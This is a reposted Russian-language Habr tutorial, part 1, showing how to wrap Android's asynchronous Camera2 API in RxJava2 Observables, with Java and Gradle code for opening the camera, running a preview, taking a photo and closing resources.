P.S: На I/O было озвучено интересное предложение от от Firebase — программа Альфа (без VPN не откроется). У тех кто зарегистрируется и выразит свое желание участвовать в программе, будет возможность проверить обновления сервисов Firebase до их релиза. Они будут не идеальные (думаю, что местами совсем сырые), но, приняв участие в Альфа-сообществе, формируя фидбэки на еще не выпущенные продукты, вы поможете определить будущее Firebase!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330488/


Метки:  

Побеждаем Android Camera2 API с помощью RxJava2 (часть 1)

Четверг, 08 Июня 2017 г. 12:29 + в цитатник


Как известно, RxJava идеально подходит для решения двух задач: обработки потоков событий и работы с асинхронными методами. В одном из предыдущих постов я показал, как можно построить цепочку операторов, обрабатывающую поток событий от сенсора. А сегодня я хочу продемонстрировать, как RxJava применяется для работы с существенно асинхронным API. В качестве такого API я выбрал Camera2 API.


Ниже будет показан пример использования Camera2 API, который пока довольно слабо задокументирован и изучен сообществом. Для его укрощения будет использована RxJava2. Вторая версия этой популярной библиотеки вышла сравнительно недавно, и примеров на ней тоже немного.


Для кого этот пост? Я рассчитываю, что читатель – умудрённый опытом, но всё ещё любознательный Android-разработчик. Очень желательны базовые знания о реактивном программировании (хорошее введение – здесь) и понимание Marble Diagrams. Пост будет полезен тем, кто хочет проникнуться реактивным подходом, а также тем, кто хочет использовать Camera2 API в своих проектах. Предупреждаю, будет много кода!


Исходники проекта можно найти на GitHub.


Подготовка проекта


Добавим сторонние зависимости в наш проект.


Retrolambda


При работе с RxJava совершенно необходима поддержка лямбд – иначе код будет выглядеть просто ужасно. Так что если вы ещё не перешли на Android Studio 3.0, добавим Retrolambda в наш проект.


buildscript {
     dependencies {
      classpath 'me.tatarka:gradle-retrolambda:3.6.0'
   }
}

apply plugin: 'me.tatarka.retrolambda'

Теперь можно поднять версию языка до 8, что обеспечит поддержку лямбд.


android {
  compileOptions {
    sourceCompatibility JavaVersion.VERSION_1_8
    targetCompatibility JavaVersion.VERSION_1_8
  }
}

Полные инструкции.


RxJava2


compile "io.reactivex.rxjava2:rxjava:2.1.0"

Актуальную версию, полные инструкции и документацию ищите тут.


RxAndroid


Полезная библиотека при использовании RxJava на Android. В основном используется ради AndroidSchedulers. Репозиторий.


compile 'io.reactivex.rxjava2:rxandroid:2.0.1'

Camera2 API


В своё время я участвовал в code review модуля, написанного с использованием Camera1 API, и был неприятно удивлён неизбежными в силу дизайна API concurrency issues. Видимо, в Google тоже осознали проблему и задепрекейтили первую версию API. Взамен предлагается использовать Camera2 API. Вторая версия доступна на Android Lollipop и новее.


Давайте же на него посмотрим.


Первые впечатления


Google проделал хорошую работу над ошибками в плане организации потоков. Все операции выполняются асинхронно, уведомляя о результатах через колбеки. Причём, передавая соответствующий Handler, можно выбрать поток, в котором будут вызываться методы колбеков.


Референсная имплементация


Google предлагает пример приложения Camera2Basic.


Это довольно наивная реализация, но помогает начать разбираться с API. Посмотрим, сможем ли мы сделать более изящное решение, используя реактивный подход.


Шаги для получения снимка


Если кратко, то последовательность действий для получения снимка такова:


  • выбрать устройство,
  • открыть устройство,
  • открыть сессию,
  • запустить превью,
  • по нажатию на кнопку сделать снимок,
  • закрыть сессию,
  • закрыть устройство.

Выбор устройства


Прежде всего нам понадобится CameraManager.


mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);

Этот класс позволяет получать информацию о существующих в системе камерах и подключаться к ним. Камер может быть несколько, в смартфонах обычно их две: фронтальная и тыловая.


Получаем список камер.


String[] cameraIdList = mCameraManager.getCameraIdList();

Вот так сурово – просто список строковых айдишников.


Теперь получим список характеристик для каждой камеры.


for (String cameraId : cameraIdList) {
            CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(cameraId);
...
}

CameraCharacteristics содержит огромное количество ключей, по которым можно получать информацию о камере.


Чаще всего на этапе выбора камеры смотрят на то, куда направлена камера. Для этого необходимо получить значение по ключу CameraCharacteristics.LENS_FACING.


Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);

Камера может быть фронтальной (CameraCharacteristics.LENS_FACING_FRONT), тыловой (CameraCharacteristics.LENS_FACING_BACK) или подключаемой (CameraCharacteristics.LENS_FACING_EXTERNAL).


Функция выбора камеры с предпочтением по ориентации может выглядеть примерно так:


       @Nullable
    private static String getCameraWithFacing(@NonNull CameraManager manager, int lensFacing) throws CameraAccessException {
        String possibleCandidate = null;
        String[] cameraIdList = manager.getCameraIdList();
        if (cameraIdList.length == 0) {
            return null;
        }
        for (String cameraId : cameraIdList) {
            CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraId);

            StreamConfigurationMap map = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
            if (map == null) {
                continue;
            }

            Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);
            if (facing != null && facing == lensFacing) {
                return cameraId;
            }

            //just in case device don't have any camera with given facing
            possibleCandidate = cameraId;
        }
        if (possibleCandidate != null) {
            return possibleCandidate;
        }
        return cameraIdList[0];
    }

Отлично, теперь у нас есть id камеры нужной ориентации (или любой другой, если нужной не нашлось). Пока всё довольно просто, никаких асинхронных действий.


Создаем Observable


Мы подходим к асинхронным методам API. Каждый из них мы превратим в Observable с помощью метода create.


openCamera


Устройство перед использованием нужно открыть с помощью метода CameraManager.openCamera.


void openCamera (String cameraId, 
                CameraDevice.StateCallback callback, 
                Handler handler)

В этот метод передаём id выбранной камеры, колбек для получения асинхронного результата и Handler, если мы хотим, чтобы методы колбека вызывались в потоке этого Handler.


Вот мы и столкнулись с первым асинхронным методом. Оно и понятно, ведь инициализация устройства – длительный и дорогой процесс.


Давайте взглянем на CameraDevice.StateCallback.



В реактивном мире эти методы будут соответствовать событиям. Давайте сделаем Observable, который будет генерировать события, когда API камеры будет вызывать onOpened, onClosed, onDisconnected. Чтобы мы могли различать эти события, создадим enum:


public enum DeviceStateEvents {
        ON_OPENED,
        ON_CLOSED,
        ON_DISCONNECTED
    }

А чтобы в реактивном потоке (тут и далее я буду называть реактивным потоком последовательность реактивных операторов – не путать со Thread) была возможность что-то сделать с устройством, мы добавим в генерируемое событие ссылку на CameraDevice. Самый простой способ – генерировать Pair. Для создания Observable воспользуемся методом create (напомню, мы используем RxJava2, так что теперь нам совсем не стыдно это делать).


Вот сигнатура метода create:


public static  Observable create(ObservableOnSubscribe source)

То есть нам нужно передать в него объект, реализующий интерфейс ObservableOnSubscribe. Этот интерфейс содержит всего один метод


void subscribe(@NonNull ObservableEmitter e) throws Exception;

который вызывается каждый раз, когда Observer подписывается (subscribe) на наш Observable.


Посмотрим, что такое ObservableEmitter.


public interface ObservableEmitter extends Emitter {
    void setDisposable(@Nullable Disposable d);
    void setCancellable(@Nullable Cancellable c);
    boolean isDisposed();
    ObservableEmitter serialize();
}

Уже хорошо. С помощью методов setDisposable/setCancellable можно задать действие, которое будет выполнено, когда от нашего Observable отпишутся. Это крайне полезно, если при создании Observable мы открывали ресурс, который надо закрывать. Мы могли бы создать Disposable, в котором закрывать устройство при unsubscribe, но мы хотим реагировать на событие onClosed, поэтому делать этого не будем.


Метод isDisposed позволяет проверять, подписан ли кто-то ещё на наш Observable.


Заметим, что ObservableEmitter расширяет интерфейс Emitter.


public interface Emitter {
    void onNext(@NonNull T value);
    void onError(@NonNull Throwable error);
    void onComplete();
}

Вот эти методы нам и нужны! Мы будем вызывать onNext каждый раз, когда Camera API будет вызывать колбеки интерфейса CameraDevice.StateCallback onOpened / onClosed / onDisconnected; и мы будем вызывать onError, когда Camera API будет вызывать колбек onError.


Итак, применим наши знания. Mетод, создающий Observable, может выглядеть так (ради читабельности я убрал проверки на isDisposed(), полный код со скучными проверками смотрите на GitHub):


public static Observable> openCamera(
        @NonNull String cameraId,
        @NonNull CameraManager cameraManager
    ) {
        return Observable.create(observableEmitter -> {
               cameraManager.openCamera(cameraId, new CameraDevice.StateCallback() {
                @Override
                public void onOpened(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_OPENED, cameraDevice));
                }

                @Override
                public void onClosed(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_CLOSED, cameraDevice));
                        observableEmitter.onComplete();
                }

                @Override
                public void onDisconnected(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_DISCONNECTED, cameraDevice));
                        observableEmitter.onComplete();
                }

                @Override
                public void onError(@NonNull CameraDevice camera, int error) {
                        observableEmitter.onError(new OpenCameraException(OpenCameraException.Reason.getReason(error)));
                }
            }, null);
        });
    }

Супер! Мы только что стали чуть более реактивными!


Как я уже говорил, все методы Camera2 API принимают Handler как один из параметров. Передавая null, мы будем получать вызовы колбеков в текущем потоке. В нашем случае это поток, в котором был вызван subscribe, то есть Main Thread.


createCaptureSession


Теперь, когда у нас есть CameraDevice, можно открыть CaptureSession. Не будем медлить!


Для этого воспользуемся методом CameraDevice.createCaptureSession. Вот его сигнатура:


public abstract void createCaptureSession(@NonNull List outputs,
            @NonNull CameraCaptureSession.StateCallback callback, @Nullable Handler handler)
            throws CameraAccessException;

На вход подаётся список Surface (где его взять, разберёмся чуть позже) и CameraCaptureSession.StateCallback. Давайте посмотрим, какие в нём есть методы.



Богато! Но мы уже знаем, как побеждать колбеки. Создадим Observable, который будет генерировать события, когда Camera API будет вызывать эти методы. Чтобы их различать, создадим enum.


    public enum CaptureSessionStateEvents {
        ON_CONFIGURED,
        ON_READY,
        ON_ACTIVE,
        ON_CLOSED,
        ON_SURFACE_PREPARED
    }

А чтобы в реактивном потоке был объект CameraCaptureSession, будем генерировать не просто CaptureSessionStateEvent, а Pair. Вот как может выглядеть код метода, создающего такой Observable (проверки снова убраны для читабельности):


   @NonNull
    public static Observable> createCaptureSession(
        @NonNull CameraDevice cameraDevice,
        @NonNull List surfaceList
    ) {
        return Observable.create(observableEmitter -> {
            cameraDevice.createCaptureSession(surfaceList, new CameraCaptureSession.StateCallback() {

                @Override
                public void onConfigured(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_CONFIGURED, session));
                  }

                @Override
                public void onConfigureFailed(@NonNull CameraCaptureSession session) {
                        observableEmitter.onError(new CreateCaptureSessionException(session));
                }

                @Override
                public void onReady(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_READY, session));
                }

                @Override
                public void onActive(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_ACTIVE, session));
                }

                @Override
                public void onClosed(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_CLOSED, session));
                        observableEmitter.onComplete();
                }

                @Override
                public void onSurfacePrepared(@NonNull CameraCaptureSession session, @NonNull Surface surface) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_SURFACE_PREPARED, session));
                }
            }, null);
        });
    }

setRepeatingRequest


Для того чтобы на экране появилась живая картинка с камеры, необходимо постоянно получать новые изображения с устройства и передавать их для отображения. Для этого в API есть удобный метод CameraCaptureSession.setRepeatingRequest.


int setRepeatingRequest(@NonNull CaptureRequest request,
            @Nullable CaptureCallback listener, @Nullable Handler handler)
            throws CameraAccessException;

Применяем уже знакомый нам приём, чтобы сделать эту операцию реактивной. Смотрим на интерфейс CameraCaptureSession.CaptureCallback.



Опять же, мы хотим различать генерируемые события и для этого создадим enum.


public enum CaptureSessionEvents {
        ON_STARTED,
        ON_PROGRESSED,
        ON_COMPLETED,
        ON_SEQUENCE_COMPLETED,
        ON_SEQUENCE_ABORTED
    }

Мы видим, что в методы передаётся достаточно много информации, которую мы хотим иметь в реактивном потоке, в том числе CameraCaptureSession, CaptureRequest, CaptureResult, поэтому просто Pair<> нам уже не подойдёт – создадим POJO:


  public static class CaptureSessionData {
        final CaptureSessionEvents event;
        final CameraCaptureSession session;
        final CaptureRequest request;
        final CaptureResult result;

        CaptureSessionData(CaptureSessionEvents event, CameraCaptureSession session, CaptureRequest request, CaptureResult result) {
            this.event = event;
            this.session = session;
            this.request = request;
            this.result = result;
        }
    }

Создание CameraCaptureSession.CaptureCallback вынесем в отдельный метод.


       @NonNull
    private static CameraCaptureSession.CaptureCallback createCaptureCallback(final ObservableEmitter observableEmitter) {
        return new CameraCaptureSession.CaptureCallback() {

            @Override
            public void onCaptureStarted(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, long timestamp, long frameNumber) {
            }

            @Override
            public void onCaptureProgressed(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull CaptureResult partialResult) {
            }

            @Override
            public void onCaptureCompleted(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull TotalCaptureResult result) {
                if (!observableEmitter.isDisposed()) {
                    observableEmitter.onNext(new CaptureSessionData(CaptureSessionEvents.ON_COMPLETED, session, request, result));
                }
            }

            @Override
            public void onCaptureFailed(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull CaptureFailure failure) {
                if (!observableEmitter.isDisposed()) {
                    observableEmitter.onError(new CameraCaptureFailedException(failure));
                }
            }

            @Override
            public void onCaptureSequenceCompleted(@NonNull CameraCaptureSession session, int sequenceId, long frameNumber) {
            }

            @Override
            public void onCaptureSequenceAborted(@NonNull CameraCaptureSession session, int sequenceId) {
            }
        };
    }

Из всех этих сообщений нам интересны onCaptureCompleted/onCaptureFailed, остальные события игнорируем. Если они понадобятся вам в ваших проектах, их несложно добавить.


Теперь всё готово для создания Observable.


    static Observable fromSetRepeatingRequest(@NonNull CameraCaptureSession captureSession, @NonNull CaptureRequest request) {
        return Observable
            .create(observableEmitter -> captureSession.setRepeatingRequest(request, createCaptureCallback(observableEmitter), null));
    }

capture


На самом деле, этот шаг полностью аналогичен предыдущему, только мы делаем не повторяющийся запрос, а единичный. Для этого воспользуемся методом CameraCaptureSession.capture.


    public abstract int capture(@NonNull CaptureRequest request,
            @Nullable CaptureCallback listener, @Nullable Handler handler)
            throws CameraAccessException;

Он принимает точно такие же параметры, так что мы сможем использовать функцию, определённую выше, для создания CaptureCallback.


    static Observable fromCapture(@NonNull CameraCaptureSession captureSession, @NonNull CaptureRequest request) {
        return Observable
            .create(observableEmitter -> captureSession.capture(request, createCaptureCallback(observableEmitter), null));
    }

Подготовка Surface


Cameara2 API позволяет в запросе передавать список Surface, которые будут использованы для записи данных с устройства. Нам потребуются два Surface:


  • для отображения preview на экране,
  • для записи снимка в JPEG-файл.

TextureView


Для отображения preview на экране мы воспользуемся TextureView. Для того чтобы получить Surface из TextureView, предлагается воспользоваться методом TextureView.setSurfaceTextureListener.
TextureView уведомит listener, когда Surface будет готов к использованию.


Давайте на этот раз создадим PublishSubject, который будет генерировать события, когда TextureView вызывает методы listener.


private final PublishSubject mOnSurfaceTextureAvailable = PublishSubject.create();

@Override
public void onCreate(@Nullable Bundle saveState){

    mTextureView.setSurfaceTextureListener(new TextureView.SurfaceTextureListener(){
        @Override
        public void onSurfaceTextureAvailable(SurfaceTexture surface,int width,int height){
           mOnSurfaceTextureAvailable.onNext(surface);
        }
    });
    ...
}

Используя PublishSubject, мы избегаем возможных проблем с множественным subscribe. Мы устанавливаем SurfaceTextureListener один раз в onCreate и дальше живём спокойно. PublishSubject позволяет подписываться на него сколько угодно раз и раздает события всем подписавшимся.



При использовании Camera2 API существует тонкость, связанная с невозможностью явно задать размер изображения, – камера сама выбирает одно из поддерживаемых ею разрешений на основании размеров, переданных ей Surface. Поэтому придётся пойти на такой трюк: выясняем список поддерживаемых камерой размеров изображения, выбираем наиболее приглянувшийся и затем устанавливаем размер буфера в точности таким же.


private void setupSurface(@NonNull SurfaceTexture surfaceTexture) {
    surfaceTexture.setDefaultBufferSize(mCameraParams.previewSize.getWidth(), mCameraParams.previewSize.getHeight());
    mSurface = new Surface(surfaceTexture);
}

При этом, если мы хотим видеть изображение с сохранением пропорций, необходимо задать нужные пропорции нашему TextureView. Для этого мы его расширим и переопределим метод onMeasure:


public class AutoFitTextureView extends TextureView {

    private int mRatioWidth = 0;
    private int mRatioHeight = 0;
...

    public void setAspectRatio(int width, int height) {
        mRatioWidth = width;
        mRatioHeight = height;
        requestLayout();
    }

    @Override
    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
        int width = MeasureSpec.getSize(widthMeasureSpec);
        int height = MeasureSpec.getSize(heightMeasureSpec);
        if (0 == mRatioWidth || 0 == mRatioHeight) {
            setMeasuredDimension(width, height);
        } else {
            if (width < height * mRatioWidth / mRatioHeight) {
                setMeasuredDimension(width, width * mRatioHeight / mRatioWidth);
            } else {
                setMeasuredDimension(height * mRatioWidth / mRatioHeight, height);
            }
        }
    }
}

Запись в файл


Для того чтобы сохранить изображение из Surface в файл, воспользуемся классом ImageReader.
Несколько слов о выборе размера для ImageReader. Во-первых, мы должны выбрать его из поддерживаемых камерой. Во-вторых, соотношение сторон должно совпадать с тем, что мы выбрали для preview.


Чтобы мы могли получать уведомления от ImageReader о готовности изображения, воспользуемся методом setOnImageAvailableListener


void setOnImageAvailableListener (ImageReader.OnImageAvailableListener listener, Handler handler)

Передаваемый listener реализует всего один метод onImageAvailable.
Каждый раз, когда Camera API будет записывать изображение в Surface, предоставленную нашим ImageReader, он будет вызывать этот колбек.


Сделаем эту операцию реактивной: создадим Observable, который будет генерировать сообщение каждый раз, когда ImageReader будет готов предоставить изображение.


@NonNull
public static Observable createOnImageAvailableObservable(@NonNull ImageReader imageReader) {
    return Observable.create(subscriber -> {

        ImageReader.OnImageAvailableListener listener = reader -> {
            if (!subscriber.isDisposed()) {
                subscriber.onNext(reader);
            }
        };
        imageReader.setOnImageAvailableListener(listener, null);
        subscriber.setCancellable(() -> imageReader.setOnImageAvailableListener(null, null)); //remove listener on unsubscribe
    });
}

Обратите внимание, тут мы воспользовались методом ObservableEmitter.setCancellable, чтобы удалять listener, когда от Observable отписываются.


Запись в файл – длительная операция, сделаем её реактивной с помощью метода fromCallable.


@NonNull
public static Single save(@NonNull Image image, @NonNull File file) {
    return Single.fromCallable(() -> {
        try (FileChannel output = new FileOutputStream(file).getChannel()) {
            output.write(image.getPlanes()[0].getBuffer());
            return file;
        }
        finally {
            image.close();
        }
    });
}

Теперь мы можем задать такую последовательность действий: когда в ImageReader появляется готовое изображение, мы записываем его в файл в рабочем потоке Schedulers.io(), затем переключаемся в UI thread и уведомляем UI о готовности файла.


private void initImageReader() {
    Size sizeForImageReader = CameraStrategy.getStillImageSize(mCameraParams.cameraCharacteristics, mCameraParams.previewSize);
    mImageReader = ImageReader.newInstance(sizeForImageReader.getWidth(), sizeForImageReader.getHeight(), ImageFormat.JPEG, 1);
    mCompositeDisposable.add(
        ImageSaverRxWrapper.createOnImageAvailableObservable(mImageReader)
            .observeOn(Schedulers.io())
            .flatMap(imageReader -> ImageSaverRxWrapper.save(imageReader.acquireLatestImage(), mFile).toObservable())
            .observeOn(AndroidSchedulers.mainThread())
            .subscribe(file -> mCallback.onPhotoTaken(file.getAbsolutePath(), getLensFacingPhotoType()))
    );
}

Запускаем preview


Итак, мы основательно подготовились. Мы уже можем создавать Observable для основных асинхронных действий, которые требуются для работы приложения. Впереди самое интересное – конфигурирование реактивных потоков.


Для разминки давайте сделаем так, чтобы камера открывалась после того, как SurfaceTexture готов к использованию.


        Observable> cameraDeviceObservable = mOnSurfaceTextureAvailable
            .firstElement()
.doAfterSuccess(this::setupSurface)
.doAfterSuccess(__ -> initImageReader())
            .toObservable()
            .flatMap(__ -> CameraRxWrapper.openCamera(mCameraParams.cameraId, mCameraManager))
            .share();

Ключевым оператором здесь выступает flatMap.



В нашем случае при получении события о готовности SurfaceTexture он выполнит функцию openCamera и пустит события от созданного ей Observable дальше в реактивный поток.


Важно также понять, зачем в конце цепочки используется оператор share. Он эквивалентен цепочке операторов publish().refCount().



Если долго смотреть на эту Marble Diagram, то можно заметить, что результат весьма похож на результат использования PublishSubject. Действительно, мы решаем похожую проблему: если на наш Observable подпишутся несколько раз, мы не хотим каждый раз открывать камеру заново.


Для удобства давайте введём ещё пару Observable.


        Observable openCameraObservable = cameraDeviceObservable
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_OPENED)
            .map(pair -> pair.second)
            .share();

        Observable closeCameraObservable = cameraDeviceObservable
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_CLOSED)
            .map(pair -> pair.second)
            .share();

openCameraObservable будет генерировать события, когда камера будет успешно открыта, а closeCameraObservable – когда она будет закрыта.


Сделаем ещё один шаг: после успешного открытия камеры откроем сессию.


        Observable> createCaptureSessionObservable = openCameraObservable
            .flatMap(cameraDevice -> CameraRxWrapper
                .createCaptureSession(cameraDevice, Arrays.asList(mSurface, mImageReader.getSurface()))
            )
            .share();

И по аналогии создадим ещё пару Observable, сигнализирующих об успешном открытии или закрытии сессии.


        Observable captureSessionConfiguredObservable = createCaptureSessionObservable
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CONFIGURED)
            .map(pair -> pair.second)
            .share();

        Observable captureSessionClosedObservable = createCaptureSessionObservable
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CLOSED)
            .map(pair -> pair.second)
            .share();

Наконец, мы можем задать повторяющийся запрос для отображения preview.


        Observable previewObservable = captureSessionConfiguredObservable
            .flatMap(cameraCaptureSession -> {
                CaptureRequest.Builder previewBuilder = createPreviewBuilder(cameraCaptureSession, mSurface);
                return CameraRxWrapper.fromSetRepeatingRequest(cameraCaptureSession, previewBuilder.build());
            })
            .share();

Теперь достаточно выполнить previewObservable.subscribe() — и на экране появится живая картинка с камеры!


Небольшое отступление. Если схлопнуть все промежуточные Observable, то получится вот такая цепочка операторов:


        mOnSurfaceTextureAvailable
            .firstElement()
            .doAfterSuccess(this::setupSurface)
            .toObservable()
            .flatMap(__ -> CameraRxWrapper.openCamera(mCameraParams.cameraId, mCameraManager))
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_OPENED)
            .map(pair -> pair.second)
            .flatMap(cameraDevice -> CameraRxWrapper
                .createCaptureSession(cameraDevice, Arrays.asList(mSurface, mImageReader.getSurface()))
            )
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CONFIGURED)
            .map(pair -> pair.second)
            .flatMap(cameraCaptureSession -> {
                CaptureRequest.Builder previewBuilder = createPreviewBuilder(cameraCaptureSession, mSurface);
                return CameraRxWrapper.fromSetRepeatingRequest(cameraCaptureSession, previewBuilder.build());
            })
            .subscribe();

И этого достаточно для показа preview. Впечатляет, не так ли?


На самом деле, у этого решения есть проблемы с закрытием ресурсов, да и снимки пока делать нельзя. Я привёл его, чтобы была видна цепочка целиком. Все промежуточные Observable понадобятся нам при составлении более сложных сценариев поведения в будущем.


Для того чтобы у нас была возможность отписаться, необходимо сохранять возвращаемое методом subscribe Disposable. Удобнее всего пользоваться CompositeDisposable.


private final CompositeDisposable mCompositeDisposable = new CompositeDisposable();

    private void unsubscribe() {
        mCompositeDisposable.clear();
    }

В реальном коде я везде делаю mCompositeDisposable.add(...subscribe()), но сейчас я эти вызовы опускаю, чтобы вам было легче читать.


Как составлять запросы CaptureRequest


Внимательный читатель, конечно, уже заметил, что мы использовали метод createPreviewBuilder, который ещё не описывался. Давайте же посмотрим, что у него внутри.


 @NonNull
    CaptureRequest.Builder createPreviewBuilder(CameraCaptureSession captureSession, Surface previewSurface) throws CameraAccessException {
        CaptureRequest.Builder builder = captureSession.getDevice().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
        builder.addTarget(previewSurface);
        setup3Auto(builder);
        return builder;
    }

Здесь мы пользуемся любезно предоставленным нам шаблоном запроса для preview, добавляем в него нашу Surface и говорим, что хотим Auto Focus, Auto Exposure и Auto White Balance (три A). Чтобы этого добиться, достаточно установить несколько флагов.


    private void setup3Auto(CaptureRequest.Builder builder) {
        // Enable auto-magical 3A run by camera device
        builder.set(CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_AUTO);

        Float minFocusDist = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE);

        // If MINIMUM_FOCUS_DISTANCE is 0, lens is fixed-focus and we need to skip the AF run.
        boolean noAFRun = (minFocusDist == null || minFocusDist == 0);

        if (!noAFRun) {
            // If there is a "continuous picture" mode available, use it, otherwise default to AUTO.
            int[] afModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
            if (contains(afModes, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE)) {
                builder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE);
            }
            else {
                builder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_AUTO);
            }
        }

        // If there is an auto-magical flash control mode available, use it, otherwise default to
        // the "on" mode, which is guaranteed to always be available.
        int[] aeModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES);
        if (contains(aeModes, CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH)) {
            builder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH);
        }
        else {
            builder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
        }

        // If there is an auto-magical white balance control mode available, use it.
        int[] awbModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AWB_AVAILABLE_MODES);
        if (contains(awbModes, CaptureRequest.CONTROL_AWB_MODE_AUTO)) {
            // Allow AWB to run auto-magically if this device supports this
            builder.set(CaptureRequest.CONTROL_AWB_MODE, CaptureRequest.CONTROL_AWB_MODE_AUTO);
        }
    }

Делаем снимок


Для того чтобы получать события по нажатиям кнопок, можно воспользоваться прекрасной библиотекой RxBinding, но мы сделаем проще.


private final PublishSubject mOnShutterClick = PublishSubject.create();

    public void takePhoto() {
        mOnShutterClick.onNext(this);
    }

Теперь набросаем план действий. Прежде всего мы хотим делать снимок тогда, когда уже начался preview (это значит, что всё готово для снимка). Для этого воспользуемся оператором combineLatest.


Observable.combineLatest(previewObservable, mOnShutterClick, (captureSessionData, o) -> captureSessionData)

Но он будет генерировать события постоянно при получении свежих событий от previewObservable, поэтому ограничимся первым событием.


                .firstElement().toObservable()

Дождёмся, пока сработают автофокус и автоэкспозиция.


                .flatMap(this::waitForAf)
                .flatMap(this::waitForAe)

И, наконец, сделаем снимок.


.flatMap(captureSessionData -> captureStillPicture(captureSessionData.session))

Цепочка операторов целиком выглядит так:


            Observable.combineLatest(previewObservable, mOnShutterClick, (captureSessionData, o) -> captureSessionData)
                .firstElement().toObservable()
                .flatMap(this::waitForAf)
                .flatMap(this::waitForAe)
                .flatMap(captureSessionData -> captureStillPicture(captureSessionData.session))
                .subscribe(__ -> {
                }, this::onError)

Посмотрим, что внутри captureStillPicture.


    @NonNull
    private Observable captureStillPicture(@NonNull CameraCaptureSession cameraCaptureSession) {
        return Observable
            .fromCallable(() -> createStillPictureBuilder(cameraCaptureSession.getDevice()))
            .flatMap(builder -> CameraRxWrapper.fromCapture(cameraCaptureSession, builder.build()));
    }

Здесь нам всё уже довольно знакомо: создаём запрос, запускаем capture – и ждём результат. Запрос конструируется из шаблона STILL_PICTURE, в него добавляется Surface для записи в файл, а также несколько волшебных флагов, сообщающих камере, что это ответственный запрос для сохранения изображения. Также задаётся информация о том, как ориентировать изображение в JPEG.


    @NonNull
    private CaptureRequest.Builder createStillPictureBuilder(@NonNull CameraDevice cameraDevice) throws CameraAccessException {
        final CaptureRequest.Builder builder;
        builder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
        builder.set(CaptureRequest.CONTROL_CAPTURE_INTENT, CaptureRequest.CONTROL_CAPTURE_INTENT_STILL_CAPTURE);
        builder.set(CaptureRequest.CONTROL_AE_PRECAPTURE_TRIGGER, CameraMetadata.CONTROL_AE_PRECAPTURE_TRIGGER_IDLE);
        builder.addTarget(mImageReader.getSurface());
        setup3Auto(builder);

        int rotation = mWindowManager.getDefaultDisplay().getRotation();
        builder.set(CaptureRequest.JPEG_ORIENTATION, CameraOrientationHelper.getJpegOrientation(mCameraParams.cameraCharacteristics, rotation));
        return builder;
    }

Закрываем ресурсы


Хорошие приложения всегда закрывают ресурсы, особенно такие дорогие, как камера. Давайте тоже по событию onPause будем всё закрывать.


       Observable.combineLatest(previewObservable, mOnPauseSubject, (state, o) -> state)
            .firstElement().toObservable()
            .doOnNext(captureSessionData -> captureSessionData.session.close())
            .flatMap(__ -> captureSessionClosedObservable)
            .doOnNext(cameraCaptureSession -> cameraCaptureSession.getDevice().close())
            .flatMap(__ -> closeCameraObservable)
            .doOnNext(__ -> closeImageReader())
            .subscribe(__ -> unsubscribe(), this::onError);

Здесь мы поочерёдно закрываем сессию и устройство, дожидаясь подтверждения от API.


Выводы


Мы создали приложение, которое умеет показывать живую картинку preview и делать снимки. То есть получили вполне рабочее приложение камеры. Нераскрытыми остались вопросы ожидания срабатывания автофокуса и автовыбора экспозиции и выбора ориентации файла. Ответы на них обязательно появятся в следующей части.


С появлением RxJava разработчики получили в свои руки могучий инструмент по обузданию асинхронных API. Используя его грамотно, можно избежать Callback Hell и получить чистый, легко читаемый и расширяемый код. Делитесь вашими мыслями в комментариях!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330080/


Метки:  

Побеждаем Android Camera2 API с помощью RxJava2 (часть 1)

Четверг, 08 Июня 2017 г. 12:29 + в цитатник


